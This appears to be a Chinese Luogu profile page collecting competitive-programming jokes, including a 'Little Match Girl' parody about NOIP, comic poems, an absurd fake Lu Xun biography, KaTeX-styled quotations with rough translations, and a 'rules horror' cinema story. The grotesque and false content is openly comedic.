    她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。书叫一个学数竞捡起来拿着跑了。

    他说,他可以用那本书当草纸,证明切比雪夫定理。小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。

    她面前的草纸堆得满满的,上面全是DP转移方程。这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。

    可怜的小女孩!她又冷又饿,浑身战栗地写着二叉堆。

    CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。

    每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。

    她在主函数前面停了下来,蜷着趴在键盘上。她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。   她几乎绝望了。啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。   她新建了一个cpp重写了程序。编译通过了了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。

    她又写了一道模拟。这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。

    眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。

    小女孩向眼前的系统栈伸出手去。这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。

    只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。有一颗星星落下来了,在天空中划出了一道细长的红光。

    “有一个什么人快要死了。”小女孩说。唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。

    她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。学姐出现在亮光里,是那么温和,那么快乐。

    “学姐!”小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,

    循环队列的空间一个样,就会不见的!”她赶紧编译了5KB的高精度模板,要把学姐留住。

    一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。

    她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。

    第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。NOIP Day1的太阳升起来了,

    照在她小小的尸体上。小女孩坐在那儿,显示器上还有一坨编译过的代码。“她想好好复习复赛。”人们说。

    谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。

    月考成绩下来后,我的脾气变得暴怒无常望着望着老师飞舞的板书,我会突然把面前的考卷撕碎;听着听着老师讲解考卷的声音,

    我会猛地把手边的作业摔向四周的墙壁。老师就悄悄地走过来,拿着手中的粉笔。当气氛开始紧张,她又生气的过来,眼边红红的,看着我。

    “听说月考的成绩都出了,你到我办公室走走。”她总是这么说。老师喜欢高分,可自从我的月考成绩以后,她希望的那些高分都没了。

    ‘不,我不去!’我狠命地捶打这几张可恨的考卷,喊着,“我可活什么劲儿!”老师扑过来抓住我的笔,忍住怒气说:“咱俩在一块儿,

    好好儿学,好好儿学... ......”可我却一直都不知道,她已经生气到了那步田地。后来同学告诉我,她常常翻着成绩单整宿整宿翻来覆去地睡不了觉。

    那天我又拿着考卷独自坐在教室里,看着同学的考卷“唰唰啦啦 地发下老师过来了,挡在桌子前:。

    “月考的成绩发了,你去我办公室坐坐吧”她愤怒的脸上现出央求般的神色?“什么时候”,“你要是?愿意,就下午”

    她说我的回答已经让她喜出望外了。‘好吧,就下午’我说她高兴得一会坐下,一会站起:‘’那就赶紧准备准备。

    “哎呀,烦不烦几道题,有什么好准备的?!”她又怒了,坐在我身边,絮絮叨叨地说着:“聊完考卷,咱们就去做考卷,

    你以前最爱做我出的考卷。还记得那回我带你去做题吗?你偏说那考试卷是垃圾,跑着,一手撕掉一个......”她忽然不说了。

    对于‘考’和‘撕’一类的字眼,她比我还敏感。她又悄悄地出去了。我进去了,就再也没回来。同学们把我抬上车时,

    我还在大口大口地吐着鲜血。我没想到我已经错成那样。看着市医院接近,也绝没有想到那竟是永远和父母诀别我的同学扶着老师去看我的时候,

    我正艰难地呼吸着,像我那一生艰难的生活同学告诉老师,我昏迷前的最后一句话是:“我那个没做完的考卷和我那个还未改正的错题......”

    又是月考,同学和老师去陵园看了我。青色的墓碑淡雅,棕色的土堆高洁,坟前的花热烈而深沉,泼泼洒洒,秋风中正开得烂漫。

    老师懂得我没有说完的话。同学也懂。我们在一块儿,要好好儿学......

    信息学奥赛初衷:

    骗分过样例,暴力出奇迹。

    数学先打表,DP看运气。

    穷举TLE,递推UKE。

    模拟MLE,贪心还CE。

    想要骗到分,就要有方法。

    图论背模板,数论背公式。

    动规背方程,高精背代码。

    如果都没背,干脆输样例。

    小A被绑匪劫持到了山洞里,绑匪说:

    “你tm要是能给我在3秒钟之内算出2^47-1等于多少,我就放了你。”

    话音未落,小A就答道:

    “0x7fffffffffffll。”

    绑匪给小A松了绑,流泪说道:

    “唉,我以前也是程序员,做这行的,不容易啊……”

    信息学奥林匹克竞赛学习方法 Step 1 买本好的书,例如《算法一本通》、《竞赛指导》

    Step 2学习如何平静自己的心,尝试熬夜,推荐书目《告诉自己不要生气》《劳逸结合的学习》《退一步海阔天空》

    Step 3注意保养《防止心脏病突发》《健康指南》《内脏调理》《精神保养的重中之重》

    Step 4《活着》

    Step 5《尝试着去复活》

    以上为本人推荐妙招 你真的超好看的 个子也好 傻笑的样子特别可 逼着自己给你写了首藏头诗

    阁下莫非就是当年华山论剑武工独步天下罕有其匹号称一朵梨花压海棠的少林 寺智障大师收养的小沙弥低能的爱犬旺财踩扁的蟑螂小强曾滚过的一个粪球?

    佛曰: 写字楼里写字间,写字间里程序员; 程序人员写程序,又拿程序换酒钱。 酒醒只在网上坐,酒醉还来网下眠; 酒醉酒醒日复日,网上网下年复年。 但愿老死电脑间,不愿鞠躬老板前; 奔驰宝马贵者趣,公交自行程序员。 别人笑我忒疯癫,我笑自己命太贱; 不见满街漂亮妹,哪个归得程序员?

    陈独秀同志,请你坐下,你这种行为挡住了旁边的李大钊同志发言,这让胡适同志很难受,令鲁迅同志很难堪,朱自清同志表示很尴尬, 钱钟书和徐志摩同志已经在撸袖子了,所以,为了你的生命安全,请默默坐下,低调做人,你凳子上的钉子我已经给你拔掉了, 凳子底下的地雷我也给你挖出来了,对面楼上的狙击手也被击毙了,下水道里的特务也被淹死了,现在能不能坐下来了?

    天秀

    陈独秀

    蒂花之秀

    造化钟神秀

    拼命三郎石秀

    维多利亚内衣秀

    吾何时能及汝之秀

    同福客栈李秀莲的秀

    我滴龟龟你怎么这么秀

    一顾倾人城叹你眉清目秀

    蓦然回首没想到你如此内秀

    社会主义接班人就数你最优秀

    无论多少言语表达不了你秀

    腾讯旗下黄钻绿钻QQ超秀

    老太太都不服服你太秀

    李云龙老婆秀芹的秀

    求求你了不要再秀

    米兰国际时装秀

    湖南台真人秀

    中国梦想秀

    山清水秀

    年代秀

    刘秀

    语文老师一回头, 鲁迅甘为孺子牛;

    数学老师一回头, 六元六次都能求;

    英语老师一回头, 满口洋文跑地球;

    物理老师一回头, 一根杠杆撬地球;

    化学老师一回头, 二氧化碳变汽油;

    劳动老师一回头, 破铜烂铁来走秀;

    体育老师一回头, 黛玉也能踢足球;

    政治老师一回头, 全班同学都梦游;

    美术老师一回头, 蒙娜丽莎也风流;

    信息老师一回头, 带着学生玩网游。

    数学是火,点亮物理的灯;物理是灯,照亮化学的路; 化学是路,通向语文的坑; 语文是坑,埋葬理科生。

    英语是火,点亮外语的灯;外语是灯,照亮历史的路; 历史是路,通向政治的坑; 政治是坑,埋葬理科生。

    李白:锦瑟无端五十弦,去年借我两万元

    杜甫:嫦娥应悔偷灵药,此事我咋不知道

    李白:重帏深下莫愁堂,你丫不要跟我装

    杜甫:秦时明月汉时关,陈年旧债已还完

    李白:万紫千红总是情,不还我钱真不行

    杜甫:春风又绿江南岸,我不还你怎么办

    李白:借问酒家何处有,不还我钱你是狗

    杜甫:烟笼寒水月笼沙,敢骂老子你王八

    鲁迅原名李大钊,浙江周树人,是著名的法西斯音乐家,一生有2000多项发明,被称为太空步的创始人。 他拥有一个好嗓子,小学时就凭借着90分钟跑100米的优异成绩考上了新东方烹饪学校! 毕业后成功进入富士康苦心练习勃鸡, 他擅长110米栏, 左手反打技术高超,拿手全垒打,大灌篮,“后空翻180度右旋体360度后蹬地翻转720度”是他的经典动作, 更难得可贵的是他落地没有水花。 他还是恶魔果实能力者,传说中的三忍之一,曾大闹天宫,后改邪归正,统一三国, 传说他有107个弟兄,个个铜头铁臂,面目狰狞,这便是羊村的起源, 他生平淡泊名利,后遇到高人阿凡达的指点,打死了白雪公主 与七个小矮人快乐的生活在一起! 并写了名侦探柯南的故事。 名侦探柯南讲述的是要成为海贼王的八神太一收服了皮卡丘并登上创界山启动光能使者打败了鲨鱼辣椒, 然后跟多啦A梦一起通过黄金十二宫收集七个葫芦娃召唤神龙复活二代火影, 但最终为了保卫M78星云而成为了羊村村长, 同蓝精灵们一起抵抗光头强的入侵的故事。

    然而,鲁迅原名李大钊,浙江周树人,曾经锻造五色神石补天,因杀死西门庆等原因,上梁山当了土匪,后遇到高人阿凡达的指点, 收买阿童木打死了白雪公主,与七个小矮人快乐的生活在一起。!并写了名侦探柯南的故事。 名侦探柯南讲述的是要成为海贼王的八神太一收服了皮卡丘并登上创界山启动光能使者打败了鲨鱼辣椒, 然后跟多啦A梦一起通过黄金十二宫收集七个葫芦娃召唤神龙复活二代火影,但最终为了保卫M78星云而成为了羊村村长, 同蓝精灵们一起抵抗光头强的入侵的故事。她还写了《时间简史》,后来因抽了龙王三太子的筋,以命偿命。 后被太乙真人救活,又送了他不少法宝。然后又创建了‘浴谷’,‘浴谷’是一个收集变形金刚一起打小怪兽的网站。 当时正值小黄人入侵时期,于是,她批量生产大白,成功抵御入侵,再一次拯救了人类!当她晚年时,热衷于炼丹,炼时经常失败 ,一大堆毒丹,当最后炼出长生不老之丹时,因老花眼吃错药而死


    柳宗元被逮了,在狱中遇到了李白,

    问因何入狱? 李说:“造谣罪,飞流直下三千尺,人家量了,没那么长”。

    柳说:“彼此彼此,我说了句:千山鸟飞绝,有人举报树上还有一只”。

    正感叹时,杜牧进来了,大家忙问:你是怎么进来的?

    杜牧说:“唉,涉嫌作风问题。”

    大伙异口同声的说:"是不是停车坐爱枫林晚",

    杜说:是,说老子涉嫌车震!

    这时,陆游也骂骂咧咧地进来了,大家忙问:“你是为何?”

    陆游道:我写了句“勿言牛老行苦迟,我今八十耕犹力”。

    说俺八十岁还想要包二奶。

    这时,李清照被收监路过,众人惊问,弱女子怎么了?

    答曰:“常记溪亭日暮,沉醉不知归路。”涉嫌酒驾拘留。

    众人皆叹。苏轼推门而入,大家纳闷:"你又何事"?

    苏轼叹:"涉黄,我只不过写了句:“横看成岭侧成峰,远近高低各不同。”

    他们说我偷看女人,动机不纯,什么世道!


    洛谷小黑屋里关了三个人,彼此间谈起被谷民赶进小黑屋里的原因。

    第一个人说:我是因为在一年前批评了卡;

    第二个人说:我是因为现在支持了卡;

    第三个人说:我就是卡。


    http://jspvz.com/plantsvszombies.htm

    如果把西游记倒过来看,其实更精彩。 如来 派师徒四人带上八部天书和小白龙去东土大唐 传教,在一路上遇到了各种妖怪,打来打去发现 他们都是有后台的,无论怎么作恶都不受惩 罚,八戒和沙僧觉得太黑暗了,无奈一个躲进 了高老庄,一个钻进了流沙河,只有悟空坚持正 义一路斩妖除魔护送师傅东去传教。 结果天 庭对悟空实在忍无可忍就和如来达成协议—— 我们可以保证唐三藏平安到长安,不过你得把 孙悟空这个刺儿头给办了,如来同意了,在一 翻阴谋之下,白龙重伤坠入山涧,悟空败了, 被压在了五指山下,而唐三藏却抛弃了孙悟 空,孤身来到长安,在长安传完教,被封为御 弟,享受完荣华富贵,寿终正寝。 就这样过 了五百年,悟空终于从五指山下逃了出来,一声 不吭,把天庭搅了个天翻地覆,天庭被逼无奈许 诺让猪八戒化为人身,封为天蓬元帅 ,沙和 尚封为卷帘大将,只要他们能够杀掉孙悟空。 最后的最后,因为兄弟相残而心灰意冷的悟空 去寻找菩提祖师解惑,然后他封印了修为,如 意金箍棒扔进了东海化作定海神针,回到花果 山,陪着猴子猴孙过完了平凡的一生,最终在 花果山的山顶化作了一块石头…… 这才是真 正的社会.


    T6

    慈母手中剑️,游子身上劈。 一秒十三箭,刀刀是暴击。 父见儿未凉,抽出七匹狼。 爷见孙未凉,挂在电线上。 姑见孩未凉,擀面杖打上。 舅见孩未凉,烙铁拖身上。 孩儿未凄惨,遍体鳞伤衣。 血流十八盆,盆盆有肉芯。 未觉匹夫肉,来自父母亲。 亲戚全都来,场面难忍心。 板砖呼其头,筷子捅其心。 勺子挖其肠,赤手抽其筋。 场面过于惨,实在不忍心。 有请各位来,医学好更新。 一一《游子嚎》

    T9

    语文老师一回头, 鲁迅甘为孺子牛; 数学老师一回头, 二次函数对称轴;

    英语老师一回头, Sorry加上三克油;物理老师一回头, 阿基米德撬地球;

    化学老师一回头, 二氧化碳变汽油;劳动老师一回头, 破铜烂铁来走秀;

    体育老师一回头, 黛玉也能踢足球;政治老师一回头, 全班同学都梦游;

    美术老师一回头, 蒙娜丽莎也风流;音乐老师一回头, 贝多芬呀也不牛;

    信息老师一回头, 带着学生玩网游; 历史老师一回头,秦始皇来推铅球。

    T11

    刚刚有个傻冒告诉我鲁迅姓周,真逗啊!周迅是个演员好吗?笑死我了!真想一板砖呼死他!我记得鲁迅原名李大钊,浙江周树人,是著名的法西斯音乐家,一生有2000多项发明,被称为太空步的创始人。他拥有一个好嗓子,小学时就凭借着90分钟跑100米的优异成绩考上了新西方烹饪学校!毕业后成功进入富士康苦心练习勃鸡, 他擅长110米栏,左手反打技术高超,拿手全垒打,大灌篮,“后空翻180度右旋体360度后蹬地翻转720度”是他的经典动作,更难得可贵的是他落地没有水花。他还是恶魔果实能力者,传说中的三忍之一,曾大闹天宫,后改邪归正,统一三国,传说他有107个弟兄,个个铜头铁臂,面目狰狞,这便是羊村的起源,她生平淡泊名利,后遇到高人阿凡达的指点,打死了白雪公主,与七个小矮人快乐的生活在一起。并写了《名侦探柯南》,《名侦探柯南》讲述的是要成为海贼王的八神太一收服了皮卡丘并登上创界山启动光能使者打败了鲨鱼辣椒,然后跟多啦A梦一起通过黄金十二宫收集七个葫芦娃召唤神龙复活二代火影,但最终为了保卫M78星云而成为了羊村村长,同蓝精灵们一起抵抗光头强的入侵的故事。

    T16

    北冥有狗,其名为哈。外形冷峻,内心傻瓜。三更半夜,呜呜啊啊。主人不在,专门拆家。床单沙发,稀里哗啦;钢铁横梁,犹如泥巴!哈之大,一锅炖不下。化儿为犬,其名为奇。奇之大,需要两个烧烤架。一哈顶三虎,三哈沉航母,五哈斗上帝,十哈创世纪,百哈毁灭银河系,千哈宇宙称第一。指令听不懂,拆家比你行。不会汪汪叫,就会呜呜呜。俗话说,狼若回头,必有缘由,不是报恩,就是报仇;二哈回头,日子到头,不是拆家,就是拆楼!

    T20

    小粉兔,粉又粉,两只耳朵拎起来,割完动脉割静脉,一动不动真可爱,扒了皮,剁了块,放在锅里炒个菜,加上水,盖上盖,出锅之前撒香菜,端个碗,拿双筷,张起嘴来尝一块,盐不咸,味不淡,真是美味下酒菜。

    T21

    大狗熊和小白兔一起拉屎。

    大狗熊突然问,小白兔你怕脏吗?

    小白兔说不怕。

    大狗熊又问,小白兔你掉毛吗?

    小白兔说不怕。

    于是大狗熊用小白兔擦屁股。

    第二天,大狗熊和小松鼠一起吃饭。

    大狗熊问,小松鼠你怕脏吗?

    小松鼠说不怕。

    大狗熊又问,小松鼠你掉毛吗?

    小松鼠说不怕。

    于是大狗熊用小松鼠擦嘴。

    这个时候小松鼠突然说,大哥,我就是你昨天用来擦屁股的小白兔啊!

    北冥有鱼,其名为鲲。鲲之大,long long 存不下。 化而为鸟,其名为鹏。鹏之大,高精会爆炸。

    大清早的,孩子们背上了SB(书包); 大人们忙着去SB(上班); 我呢,就来上网看看又有什么新消息在SB(散播); 晚上,点菜的时候我说SB(随便); 吃饱了到大街上SB(散步); 回来手里就抓着SB(鼠标); 有心情还去博客里写写SB(随笔); 人,整天都在SB ! 有幸碰到两美国美妞聊天,以为自己英文过关,但只听清一句话就是SB(somebody = sb.); 人活着可真SB(失败)啊........ 那年我SB(十八),到部队当SB(士兵)。一开始,我当的是SB(哨兵)。

    $$\def\showText#1#2#3{\normalsize\color{#1}\mathsf{#2}\\\scriptsize\mathsf{#3}\\\ \\}\showText{#2ca9e1}{『在太阳西斜的这个世界里』}{—Broken\ Chronograph—}\showText{#3ea3ce}{『置身天上之森』}{—Late\ Autumn\ Night's\ Dream—}\showText{#509cba}{『等这场战争结束之后』}{—Starry\ Road\ To\ Tomorrow—}\showText{#6396a7}{『不归之人与望眼欲穿的人们』}{—Dice\ In\ Pot—}\showText{#758f93}{『人人本着正义之名』}{—From\ Down\ Till\ Dusk—}\showText{#888880}{『长存不灭的过去,逐渐消逝的未来』}{—No\ News\ Was\ Good\ News—}\showText{#9a826c}{『我回来了』}{—Home\ ,\ Sweet\ Home—}\showText{#ac7b59}{『纵使日薄西山』}{—Slight\ Light,\ Slight\ Hope—}\showText{#bf7545}{『即使看不到未来』}{—Moonlight\ Sorcery—}\showText{#d16e32}{『此时此刻的光辉』}{—My\ Happiness—}\showText{#e4671e}{『盼君勿忘』}{—Evidence\ of\ Existance—}\\\normalsize\tag*{\color{#FCAEBD}\text{————世界上最幸福的女孩\ 珂朵莉}} \ $$
    $$\color{#2CA9E1}\mathsf{『人最宝贵的是生命』}\\\scriptsize\mathsf{—Самое\ ценное\ в\ людях-это\ жизнь—} $$$$\color{#2CA9E1}\mathsf{『生命对于每个人只有一次』}\\\scriptsize\mathsf{—Жизнь\ дается\ только\ раз—} $$$$\color{#2CA9E1}\mathsf{『人的一生应当这样度过』}\\\scriptsize\mathsf{—Так\ должна\ прожить\ жизнь —} $$$$\color{#2CA9E1}\mathsf{『当他回首往事的时候』}\\\scriptsize\mathsf{—Когда\ он\ оглядывается\ назад—} $$$$\color{#2CA9E1}\mathsf{『他不会因为虚度年华而悔恨』}\\\scriptsize\mathsf{—Он\ не\ жалеет\ о\ потраченных\ годах—} $$$$\color{#2CA9E1}\mathsf{『也不会因为碌碌无为而羞愧』}\\\scriptsize\mathsf{—И\ не\ потому,\ что\ я\ не\ стыжусь—} $$$$\color{#E4671E}\mathsf{『临终之际』}\\\scriptsize\mathsf{—На\ смертном\ одре—} $$$$\color{#E4671E}\mathsf{『他能够说』}\\\scriptsize\mathsf{—Он\ может\ сказать—} $$$$\color{#E4671E}\mathsf{『我的整个生命和全部精力』}\\\scriptsize\mathsf{—Всю\ мою\ жизнь\ и\ всю\ мою\ энергию—} $$$$\color{#E4671E}\mathsf{『都献给了世界上最壮丽的事业』}\\\scriptsize\mathsf{—Все\ посвящены \ самому\ блестящему\ делу\ в\ мире—} $$$$\color{#E4671E}\mathsf{『为人类的解放而斗争』}\\\scriptsize\mathsf{—Борьба\ за\ освобождение\ человечества—} $$$$\normalsize{\color{red}{\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ ——《钢铁是怎样炼成的》(Как\ закалялась\ сталь)}} $$
    $$\color{#2CA9E1}\mathsf{『嗨同志』}\\\scriptsize\mathsf{—Привет, товарищи.—} $$$$\color{#2CA9E1}\mathsf{『你知道列宁格勒和斯大林格勒在哪里吗』}\\\scriptsize\mathsf{—Знаете ли вы, где находятся Ленинград и Сталинград?—} $$$$\color{#2CA9E1}\mathsf{『我在地图上找不到了』}\\\scriptsize\mathsf{—Я не могу найти его на карте. —} $$$$\color{#2CA9E1}\mathsf{『没有了,再也没有了,我们失败了』}\\\scriptsize\mathsf{—Нет больше, не больше, мы потерпели неудачу,—} $$$$\color{#2CA9E1}\mathsf{『白匪和资本家们又骑在我们的头上』}\\\scriptsize\mathsf{—Белые бандиты и капиталисты снова едут нам на голову.—} $$$$\color{#2CA9E1}\mathsf{『如果你想追逐那颗红星就去东方吧』}\\\scriptsize\mathsf{—Если вы хотите преследовать эту красную звезду, отправляйтесь на восток.—} $$$$\color{#2CA9E1}\mathsf{『穿过第聂伯河翻过乌拉尔山脉西伯利亚平原的尽头』}\\\scriptsize\mathsf{—Переправа через Днепр через конец сибирских равнин Уральских гор,—} $$$$\color{#2CA9E1}\mathsf{『那里还燃烧着星星之火』}\\\scriptsize\mathsf{—ОТам же горят искры звезд.—} $$$$\color{#E4671E}\mathsf{『我亲爱的达瓦里氏』}\\\scriptsize\mathsf{—Мой дорогой Давариус,—} $$$$\color{#E4671E}\mathsf{『我已经来到了你所说的地方了』}\\\scriptsize\mathsf{—Я пришел туда, где вы сказали:—} $$$$\color{#E4671E}\mathsf{『东方的星星之火已是燎原之焰』}\\\scriptsize\mathsf{—Я пришел в то место, о котором вы сказали, и искра востока – это пламя пустыни!—} $$$$\color{#E4671E}\mathsf{『14万万同志高举的火把照亮了九百六十万平方公里的每一寸土地』}\\\scriptsize\mathsf{—Факелы, поднятые в воздух 140 000 товарищей, освещали каждый дюйм 9,6 миллиона квадратных километров!—} $$$$\color{#E4671E}\mathsf{『我相信终有一天他会烧过第聂伯河』}\\\scriptsize\mathsf{—Я верю, что однажды он сгорит через Днепр,—} $$$$\color{#E4671E}\mathsf{『穿过喜马拉雅山脉照亮整个亚洲』}\\\scriptsize\mathsf{—Путешествуйте по Гималаям, чтобы осветить всю Азию!—} $$$$\color{#E4671E}\mathsf{『红星永远不会消失』}\\\scriptsize\mathsf{—Красная звезда никогда не исчезнет!—} $$$$\color{#E4671E}\mathsf{『他在巴黎,在莫斯科,在华盛顿』}\\\scriptsize\mathsf{—Он был в Париже, в Москве, в Вашингтоне,—} $$$$\color{#E4671E}\mathsf{『在柏林,在伦敦,在新德里,在北京』}\\\scriptsize\mathsf{—В Берлине, в Лондоне, в Нью-Дели, в Пекине.—} $$$$\color{#E4671E}\mathsf{『在肮脏的贫民窟中,在铁与火的工厂中』}\\\scriptsize\mathsf{—В грязных трущобах, на фабриках железа и огня,—} $$$$\color{#E4671E}\mathsf{『在农民脸上的皱纹里,在少年明亮的眼睛里』}\\\scriptsize\mathsf{—В морщинах лица крестьянина, в светлых глазах подростка.—} $$$$\color{#E4671E}\mathsf{『钢铁的联盟破碎了,但是留下的星星之火』}\\\scriptsize\mathsf{—Союз стали разорван, но искра, которая остается,—} $$$$\color{#E4671E}\mathsf{『飘到了东方,飘到了那片地方』}\\\scriptsize\mathsf{—Дрейфуя на восток, плывя к тому месту, —} $$$$\color{#E4671E}\mathsf{『他在人民的努力之下』}\\\scriptsize\mathsf{—Он находится под усилиями народа,—} $$$$\color{#E4671E}\mathsf{『创建了坚固的壁垒,创立了钢铁的军队』}\\\scriptsize\mathsf{—Были созданы прочные барьеры, созданы армии из стали.—} $$$$\color{#E4671E}\mathsf{『他在等待』}\\\scriptsize\mathsf{—Он ждет,—} $$$$\color{#E4671E}\mathsf{『等待那一天红星照耀整个世界』}\\\scriptsize\mathsf{—Ждите того дня, когда красная звезда засияет на весь мир!—} $$
    $$\def\showText#1#2#3{\normalsize\color{#1}\mathsf{#2}\\\scriptsize\mathsf{#3}\\\ \\}\showText{#2ca9e1}{『让死亡觊觎我』}{—Let\ death\ covet\ me—}\showText{#3ea3ce}{『让恐惧亲吻我』}{—Let\ fear\ kiss\ me—}\showText{#509cba}{『来摧毁我深爱的一切』}{—Starry\ Road\ To\ Tomorrow—}\showText{#6396a7}{『可仍夺不走我的选择』}{—But\ it\ still\ doesn't\ take away\ my\ choice—}\showText{#758f93}{『弹指间湮灭我』}{—Annihilate\ me\ at the\ snap\ of\ a\ finger—}\showText{#888880}{『但命运打不败活着』}{—But\ fate\ cannot\ be\ defeated\ and\ lived—}\showText{#9a826c}{『让生命如剧烈的烟火』}{—Let\ life\ be\ like\ a\ violent\ firework—}\showText{#bf7545}{『璀璨熄灭前也将点亮』}{—It\ will\ also\ be\ lit\ before\ it\ goes\ out—}\showText{#e4671e}{『孩童的双眸』}{—Children's\ eyes—}\\\normalsize\tag*{\color{#FCAEBD}\text{————流浪地球}} \ $$
    $$\def\showText#1#2#3{\normalsize\color{#1}\mathsf{#2}\\\scriptsize\mathsf{#3}\\\ \\}\showText{#2ca9e1}{『窗外细雨浮沉\ 庭院寂无人』}{—Outside\ the\ window,\ the\ drizzle\ floats\ and\ sinks,\ and\ the\ courtyard\ is\ silent—}\showText{#3ea3ce}{『我见谁又渐近黄昏』}{—I\ saw\ who\ was\ approaching\ dusk\ again—}\showText{#509cba}{『案上积压公文\ 陋室天更冷』}{—The\ backlog\ of\ documents\ on\ the\ case\ The\ Burrow\ is\ even\ colder—}\showText{#6396a7}{『人世中如何不留浊痕』}{—How\ not\ to\ leave\ turbid marks in the world—}\showText{#758f93}{『灵魂\ 沉沦』}{—The\ soul\ sinks—}\showText{#888880}{『今日生存之诀是为忍』}{—The\ secret\ to\ survival\ today\ is\ to\ endure—}\showText{#9a826c}{『难跃\ 龙门』}{—It\ is\ difficult\ to\ jump\ over\ the dragon\ gate—}\showText{#ac7b59}{『人皆快活只有我断魂』}{—Everyone\ is\ happy,\ only\ I\ break\ my\ soul—}\showText{#bf7545}{『为五斗米折腰非我心』}{—Bending\ my\ waist\ for\ five\ buckets\ of\ rice\ is\ not\ my\ heart—}\showText{#d16e32}{『奈何须悬命』}{—You\ need\ to\ hang\ in\ the\ air—}\showText{#e4671e}{『天涯难觅知音』}{—It's\ hard\ to\ find\ a\ soulmate—}\showText{#e4671e}{『独叹伶仃』}{—Sigh\ alone—}\\\normalsize\tag*{\color{#FCAEBD}\text{————九品芝麻官的自白}} \ $$

    好东西:https://www.luogu.com.cn/paste/i8lcj76n

    怪谈区

    这是一家只存在于内巷里的电影院,看上去年代感十足,大堂的正中央贴了一张A4纸,标题是**《观影人士行动指引及注意事项》**

    具体内容如下:

    1.本院24小时营业,全年无休,我们随时恭候您的光临。

    2.本院可以播放任何一部您想看的电影,只要您在售票口跟售票人员说出电影名字即可,但请不要说错电影名,也不要胡乱编造一个电影名,否则后果自负。

    3.您若是想不到该看哪部电影,售票口旁边放有一本史上最全电影目录,并附有每部电影的内容简介,您可以从中挑选。我们会随时在上面补充世界各地最新上映的电影,但我们建议您尽量不要选一些自己从未听说过,或者名字和简介看上去过于奇怪的电影,否则后果自负。

    4.本院一共有16个放映厅,编号分别为A01号至A16号,但请您在任何情况下都不要进入A16号放映厅。如果您听到内里有求救声传出,请不要理会,这只是在播放某部电影。

    5.每个放映厅都需要有至少两名客人在场的情况下,才能开始播放电影,如果您非要单独一人在影视厅内看电影,后果自负。

    6.在电影开始播放前,请将所有通讯设备都调至静音。

    7.电影播放途中,不得大声喧哗。

    8.不得触碰银幕。

    9.不得在放映厅内以任何形式抱怨电影难看。

    10.电影一经播放,不得中途退出放映厅。座位排的左侧设有洗手间,您可以在里面解决生理需求,但如非必要,请不要在洗手间内停留太久。

    11.如您违反了第6至10条注意事项,请您立刻闭上双眼,捂住耳朵,一直至电影结束,放映厅内重新亮起灯光为止。然后请尽快离开本院,并在之后的三个月内不要观看任何电影,且从此不要再进入本院。

    12.如果您见到有人违反第6至10条注意事项,离他们远一些,然后不要再看向他们,继续专心观看电影即可。

    13.如果您见到电影在播放途中出现了某些明显不合符常理的情节,或者里面的角色突然以某种匪夷所思的形式死亡,请掀开座位扶手尾端的盖子,然后按下内里的红色按钮,工作人员会立刻赶来确认情况。如果电影内容确实出现了异常,这可能是因为电影胶卷因天气潮湿而导致损坏,事实上,在这种南方地区的老旧小影院里,会出现这种情况是十分合情合理的。电影将会立刻终止播放,请您跟随工作人员离开放映厅。如为您造成困扰,我们感到由衷的抱歉。

    14.如果您见到电影内的角色试图向你求救,不要理会,继续观看即可。不过在电影播放完毕以后,请您继续于放映厅内逗留至少3个小时再离开,这期间不会有任何人员进入。我们真挚的,诚恳的希望您能一直记得,这里只是一间电影院,您所看的也只不过是一部电影。

    15.不论观影体验如何,在电影播放完毕后,请您至少鼓掌了十秒钟再离开放映厅。如果您没有做到这点,请您尽快离开本院,并从此不要再进入本院。

    16.如要离开本院,请确保自己已在放映厅内观看过至少十五分钟电影。

    17.我们希望您能在本院获得最独一无二的观影体验。

    18.不要怀疑,不要深究,这只是一间普通的电影院。

    在员工休息室内,放着一本工作人员指引手册。 具体内容如下:

    1.无论顾客想看什么电影,售票人员只需将空白的电影票递给顾客即可,他们不会追问。

    2.如有顾客想在放映厅内独自看电影,不要阻拦,且你应尽量避免有太多人同时在某一放映厅内观看电影。

    3.当顾客违反了任何一项注意事项,却仍然想待在电影院内时,不要阻拦。

    4.阻拦任何想进入A16号放映厅的顾客,必要时可使用暴力手段。

